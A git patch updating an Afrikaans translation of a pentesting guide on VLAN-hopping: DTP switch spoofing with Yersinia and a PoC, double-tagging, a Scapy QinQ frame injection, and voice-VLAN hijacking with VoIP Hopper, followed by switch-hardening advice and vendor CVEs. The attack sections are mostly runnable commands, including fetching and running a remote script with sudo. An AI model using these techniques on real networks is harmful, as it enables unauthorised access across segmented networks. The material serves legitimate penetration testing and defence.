From b58b1e85e6e47ca04b298643f7904dcf81d197c4 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 12:39:19 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../lateral-vlan-segmentation-bypass.md | 87 ++++++++++++++----- 1 file changed, 64 insertions(+), 23 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 6d1413ded..ab72252ba 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -20,10 +20,11 @@ SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` -Die oorgang na trunk-modus sal tydelik konneksie ontwrig, maar dit kan daarna herstel word. +Die oorskakeling na trunk-modus sal tydelik konneksie onderbreek, maar dit kan daarna herstel word. Virtuele interfaces word dan geskep, VLAN-ID's toegeken en geaktiveer: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,27 +33,36 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` Daarna word 'n adresversoek via DHCP gemaak. Alternatiewelik, in gevalle waar DHCP nie haalbaar is nie, kan adresse handmatig gekonfigureer word: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` Voorbeeld van handmatig 'n statiese IP-adres op 'n koppelvlak (VLAN 10) in te stel: ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` -Verbondenheid word getoets deur ICMP versoeke na die standaard gateways vir VLANs 10, 20, 50, en 60 te begin. +Verbondenheid word getoets deur ICMP versoeke na die standaard poorte vir VLANs 10, 20, 50, en 60 te begin. -Uiteindelik stel hierdie proses die omseiling van VLAN-segmentasie in staat, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer, en die grondslag vir daaropvolgende aksies stel. +Uiteindelik stel hierdie proses die omseiling van VLAN-segmentasie in staat, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer, en die grondslag vir daaropvolgende aksies lê. --- ## Ander VLAN-Hopping Tegnieke (geen bevoorregte skakelaar CLI) -Die vorige metode neem aan dat daar geverifieerde konsole of Telnet/SSH toegang tot die skakelaar is. In werklike betrokkenhede is die aanvaller gewoonlik aan 'n **gewone toegangspoort** gekoppel. Die volgende Laag-2 truuks laat jou dikwels lateraal pivot sonder om ooit in die skakelaar OS in te teken: +Die vorige metode neem aan dat geverifieerde konsole of Telnet/SSH toegang tot die skakelaar verkry word. In werklike betrokkenhede is die aanvaller gewoonlik aan 'n **gewone toegangspoort** gekoppel. Die volgende Laag-2 truuks laat jou dikwels lateraal beweeg sonder om ooit in die skakelaar OS in te teken: ### 1. Skakelaar-Spoofing met Dynamiese Trunking Protokol (DTP) @@ -61,22 +71,29 @@ Cisco-skakelaars wat DTP geaktiveer hou, sal gelukkig 'n trunk onderhandel as di *Yersinia* en verskeie PoCs outomatiseer die proses: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -Sodra die poort na trunk oorgeskakel word, kan jy 802.1Q sub-interfaces skep en presies soos in die vorige afdeling getoon, pivot. Moderne Linux-kernels vereis nie meer *vconfig* nie; gebruik eerder *ip link*: +Recon helper (passief vingerafdruk die poort se DTP-toestand): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up + +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 ``` +Sodra die poort na trunk oorgeskakel word, kan jy 802.1Q sub-interfases skep en presies soos in die vorige afdeling getoon, pivot. + ### 2. Dubbel-Tagging (Native-VLAN Misbruik) -As die aanvaller op die **native (onttag) VLAN** sit, kan 'n vervaardigde raam met *twee* 802.1Q koppe na 'n tweede VLAN "spring" selfs wanneer die poort in toegangmodus vergrendel is. Gereedskap soos **VLANPWN DoubleTagging.py** (2022-2024 verfrissing) outomatiseer die inspuiting: +As die aanvaller op die **native (ongemerkte) VLAN** sit, kan 'n vervaardigde raam met *twee* 802.1Q koppe na 'n tweede VLAN spring, selfs wanneer die poort in toegangmodus vergrendel is. Gereedskap soos **VLANPWN DoubleTagging.py** (2022-2025 verfrissing) outomatiseer die inspuiting: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -Packet walk-through: -1. Die buite etiket (1) word verwyder deur die eerste skakel omdat dit die inheemse VLAN ooreenstem. -2. Die binne etiket (20) is nou blootgestel; die raamwerk word na die trunk na VLAN 20 gestuur. +### 3. QinQ (802.1ad) Stapeling -Die tegniek werk steeds in 2025 op netwerke wat die inheemse VLAN op die standaard laat en ongetagde rame aanvaar. - -### 3. QinQ (802.1ad) Stacking - -Baie ondernemingskerns ondersteun *Q-in-Q* diensverskaffer enkapsulasie. Waar toegelaat, kan 'n aanvaller willekeurige 802.1Q-getagde verkeer binne 'n verskaffer (S-tag) tonnel om sekuriteitsgebiede oor te steek. Vang vir 802.1ad ethertype 0x88a8 en probeer om die buite etiket met Scapy te pop: +Baie ondernemingskerns ondersteun *Q-in-Q* diensverskaffer enkapsulasie. Waar toegelaat, kan 'n aanvaller arbitrêre 802.1Q-gemerkte verkeer binne 'n verskaffer (S-tag) tonnel om sekuriteitsgebiede oor te steek. Vang vir ethertype `0x88a8` en probeer om die buite-tag met Scapy te verwyder: ```python from scapy.all import * outer = 100 # Service tag @@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing) + +Korporatiewe toegangspoorte sit dikwels in 'n *“access + voice”* konfigurasie: ongetagde data VLAN vir die werkstasie en 'n getagde stem VLAN wat deur CDP of LLDP-MED geadverteer word. Deur 'n IP-telefoon na te boots, kan die aanvaller outomaties die VoIP VLAN ontdek en daarin spring—selfs wanneer DTP gedeaktiveer is. + +*VoIP Hopper* (verpak in Kali 2025.2) ondersteun CDP, DHCP opsies **176/242**, en volle LLDP-MED spoofing: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +Die tegniek omseil data/spraak skeiding en is uiters algemeen op ondernemingsrand-skakels in 2025 omdat LLDP outomatiese beleid standaard geaktiveer is op baie modelle. + --- ## Verdedigende Aanbevelings 1. Deaktiveer DTP op alle gebruikersfrontpoorte: `switchport mode access` + `switchport nonegotiate`. -2. Verander die inheemse VLAN op elke trunk na 'n **onbenutte, swartgat VLAN** en tag dit: `vlan dot1q tag native`. -3. Snoei onnodige VLANs op trunks: `switchport trunk allowed vlan 10,20`. -4. Handhaaf poortsekuriteit, DHCP snooping & dinamiese ARP-inspeksie om onwettige Laag-2 aktiwiteit te beperk. -5. Verkies private-VLANs of L3 segmentasie eerder as om slegs op 802.1Q skeiding te vertrou. +2. Verander die inheemse VLAN op elke trunk na 'n **onbenutte, swartgat VLAN** en merk dit: `vlan dot1q tag native`. +3. Prune onnodige VLANs op trunks: `switchport trunk allowed vlan 10,20`. +4. Handhaaf poortsekuriteit, DHCP snooping, dinamiese ARP-inspeksie **en 802.1X** om onwettige Laag-2 aktiwiteit te beperk. +5. Deaktiveer LLDP-MED outomatiese spraakbeleide (of sluit dit aan by geverifieerde MAC OUI's) as IP-foon spoofing nie vereis word nie. +6. Verkies private-VLANs of L3 segmentasie eerder as om slegs op 802.1Q skeiding te vertrou. + +--- + +## Werklike Verskaffer Kwetsbaarhede (2022-2024) + +Selfs 'n perfek geharde skakelkonfigurasie kan steeds ondermyn word deur firmware foute. Onlangs voorbeelde sluit in: + +* **CVE-2022-20728† – Cisco Aironet/Catalyst Toegangspunte** laat inspuiting van die inheemse VLAN in nie-inheemse WLAN VLANs toe, wat bedrade/draadlose segmentasie omseil. +* **CVE-2024-20465 (Cisco IOS Industriële Ethernet)** laat ACL omseiling op SVIs toe na die omskakeling van Resilient Ethernet Protocol, wat verkeer tussen VRFs/VLANs lek. Patches 17.9.5 of later. + +Monitor altyd die verskaffer advies oor VLAN-verwante omseiling/ACL probleme en hou infrastruktuur beelde op datum. --- @@ -119,5 +158,7 @@ sendp(frame, iface="eth0") - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - VLANPWN aanval toolkit – - Twingate "Wat is VLAN Hopping?" (Aug 2024) – +- VoIP Hopper projek – +- Cisco Advies “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}